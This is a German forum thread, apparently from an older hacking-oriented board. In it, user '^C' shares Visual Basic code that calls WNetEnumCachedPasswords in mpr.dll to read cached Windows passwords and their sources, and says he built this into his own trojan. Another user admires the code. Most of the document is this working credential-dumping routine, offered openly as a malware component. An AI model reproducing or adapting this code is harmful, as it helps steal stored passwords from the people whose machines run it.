GetCachedPasswords

[^C]

Hoff ich kann dir damit helfen, so habs ich bei meinem trojaner gemacht. Das ganze kommt in ein .bas Modul

Option Explicit

Declare Function WNetEnumCachedPasswords Lib "mpr.dll" _
(ByVal s As String, ByVal i As Integer, ByVal b _
As Byte, ByVal proc As Long, ByVal l As Long) As Long

Type PAßWORT_TYPE
Eintrag As Integer
Quelle As Integer
Paßwort As Integer
i As Byte
nT As Byte
Feld(1 To 1024) As Byte
End Type
Public Function CallBack(Ret As PAßWORT_TYPE, ByVal l&) As Integer
Dim X%, AA$, Quelle$, Paßwort$

For X = 1 To Ret.Quelle
If Ret.Feld(X) <> 0 Then
Quelle = Quelle & Chr$(Ret.Feld(X))
Else
Quelle = Quelle & " "
End If
Next X

For X = Ret.Quelle + 1 To (Ret.Quelle + Ret.Paßwort)
If Ret.Feld(X) <> 0 Then
Paßwort = Paßwort & Chr$(Ret.Feld(X))
Else
Paßwort = Paßwort & " "
End If
Next X

Form1.List1.AddItem " Q: " & Quelle & " P: " & Paßwort
CallBack = True

End Function

Dann ne einfache Form mit folgendem Code:
(nur als Beispiel)

Public Sub Paßwörter()
Call WNetEnumCachedPasswords("", 0&, &HFF, AddressOf CallBack, 0&)
End Sub

[cRackY]

selbst gschrieben das alles? tät mcih nämlich interssieren ;-))))

mfg cRackY

[^C]

jep, wieso fragst? ist ja nichts besonderes

[cRackY]

wie du meinst :-)

ich mein nur, ich glaub ich hätts net zusammengebracht! respekt http://www.buschboard.de/NonCGI/biggrin.gif

mfg

[^C]

danke :))))) aber ich denke du hättest das auch hinbekommen :)